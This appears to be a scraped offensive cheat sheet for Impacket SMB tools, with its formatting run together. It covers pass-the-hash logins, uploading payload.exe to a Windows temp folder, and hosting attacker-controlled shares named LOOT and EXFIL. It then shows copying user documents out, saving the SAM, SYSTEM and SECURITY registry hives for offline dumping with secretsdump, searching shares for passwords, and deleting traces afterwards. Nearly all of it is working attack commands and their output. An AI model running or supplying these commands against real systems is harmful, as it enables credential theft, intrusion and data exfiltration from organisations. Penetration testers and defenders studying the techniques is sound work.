# List available sharesshares# Connect to shareuse SHARENAMEuse C$use ADMIN$# List fileslsdir# Change directorycd Windows\Temp# Show current directorypwd
$ smbclient.py CORP/admin@10.0.0.50 -hashes :8846f7eaee8fb117ad06bdd830b7586cImpacket v0.12.0 - Copyright 2023 FortraType help for list of commands# sharesADMIN$C$IPC$NETLOGONSYSVOLShared# use C$# lsdrw-rw-rw- 0 Mon Jan 1 00:00:00 2024 .drw-rw-rw- 0 Mon Jan 1 00:00:00 2024 ..drw-rw-rw- 0 Wed Dec 20 10:30:22 2023 Program Filesdrw-rw-rw- 0 Wed Dec 20 10:30:22 2023 Windowsdrw-rw-rw- 0 Thu Jan 11 15:45:33 2024 Users# cd Windows\Temp# put payload.exe# ls-rw-rw-rw- 73802 Thu Jan 15 14:22:11 2024 payload.exe# exit
Create a local SMB server for file transfers and attacks.
Simple Server
Authentication
SMB2 Support
Port Configuration
# Share current directorysmbserver.py SHARE .# Share specific directorysmbserver.py SHARE /path/to/share# From Windows target:# net use \\attacker-ip\SHARE# copy file.txt \\attacker-ip\SHARE\file.txt
# With username/passwordsmbserver.py SHARE /path -username user -password pass# From Windows:# net use \\attacker-ip\SHARE /user:user pass
# Enable SMB2 (required for newer Windows)smbserver.py SHARE /path -smb2support# With authenticationsmbserver.py SHARE /path -smb2support -username user -password pass
# Custom ports (avoid port 445 conflicts)smbserver.py SHARE /path -port 8445# Bind to specific IPsmbserver.py SHARE /path -ip 192.168.1.100
# On attacker machine:smbserver.py LOOT /tmp/loot -smb2support# On compromised Windows system:net use \\10.0.0.100\LOOTcopy C:\Users\Admin\Documents\*.docx \\10.0.0.100\LOOT\reg save HKLM\SAM \\10.0.0.100\LOOT\sam.save
# Save SAM hive (for credential extraction)reg.py DOMAIN/user:pass@target save -keyName HKLM\\SAM sam.save# Save SYSTEM hivereg.py DOMAIN/user:pass@target save -keyName HKLM\\SYSTEM system.save# Save SECURITY hivereg.py DOMAIN/user:pass@target save -keyName HKLM\\SECURITY security.save# Then use with secretsdump.py:secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
# Query service configurationservices.py DOMAIN/user:pass@target status -name ServiceName# Get service detailsservices.py DOMAIN/user:pass@target config -name ServiceName
# 1. Save registry hivesreg.py CORP/admin:pass@target save -keyName HKLM\\SAM sam.savereg.py CORP/admin:pass@target save -keyName HKLM\\SYSTEM system.savereg.py CORP/admin:pass@target save -keyName HKLM\\SECURITY security.save# 2. Download hivessmbclient.py CORP/admin:pass@target# use C$# cd Windows\Temp# get sam.save# get system.save# get security.save# 3. Extract credentials offlinesecretsdump.py -sam sam.save -system system.save -security security.save LOCAL# 4. Clean upsmbclient.py CORP/admin:pass@target# use C$# cd Windows\Temp# rm sam.save# rm system.save# rm security.save
# 1. Start SMB serversmbserver.py EXFIL /tmp/stolen -smb2support# 2. Connect from target and copy files# Via wmiexec/psexec:wmiexec.py CORP/user:pass@target> net use \\\\10.0.0.100\\EXFIL> xcopy C:\\Users\\Admin\\Documents \\\\10.0.0.100\\EXFIL\\ /E /H /C /I# 3. Or use robocopy for better file copying> robocopy C:\\Sensitive \\\\10.0.0.100\\EXFIL\\ /E /ZB /COPY:DAT# 4. Disconnect> net use \\\\10.0.0.100\\EXFIL /delete
# 1. List sharessmbclient.py @target -no-pass> shares# 2. Check each share for sensitive files> use NETLOGON> ls> use SYSVOL> ls> use Shared> ls# 3. Search for specific files> use C$> cd Users> ls /recursive | grep -i password> ls /recursive | grep -i .config# 4. Download interesting files> get interesting_file.txt
# Verify credentials workcrackmapexec smb target -u user -p password# Check share permissionssmbmap -H target -u user -p password# Try different sharessmbclient.py user:pass@target> shares> use ADMIN$ # Requires admin> use C$ # Requires admin> use IPC$ # Usually accessible
SMB Version Issues
# SMBv1 disabled (Windows 10+/Server 2016+)# Ensure tools use SMB2/3:smbserver.py SHARE /path -smb2support# Check SMB version with nmapnmap -p445 --script smb-protocols target# Force SMB2smbclient.py user:pass@target -smb2
Registry Access Denied
# Ensure RemoteRegistry service is runningservices.py domain/user:pass@target start -name RemoteRegistry# Verify admin privilegescrackmapexec smb target -u user -p pass --local-auth# Use alternative methodssecretsdump.py domain/user:pass@target -use-vss
File Transfer Failures
# Check available disk spacesmbclient.py user:pass@target> use C$> ls# Try different share> use D$# Use smaller chunks (for large files)# Split file first:split -b 10M largefile.bin chunk_# Upload chunks> put chunk_aa> put chunk_ab# Reassemble on target> !cmd /c copy /b chunk_* largefile.bin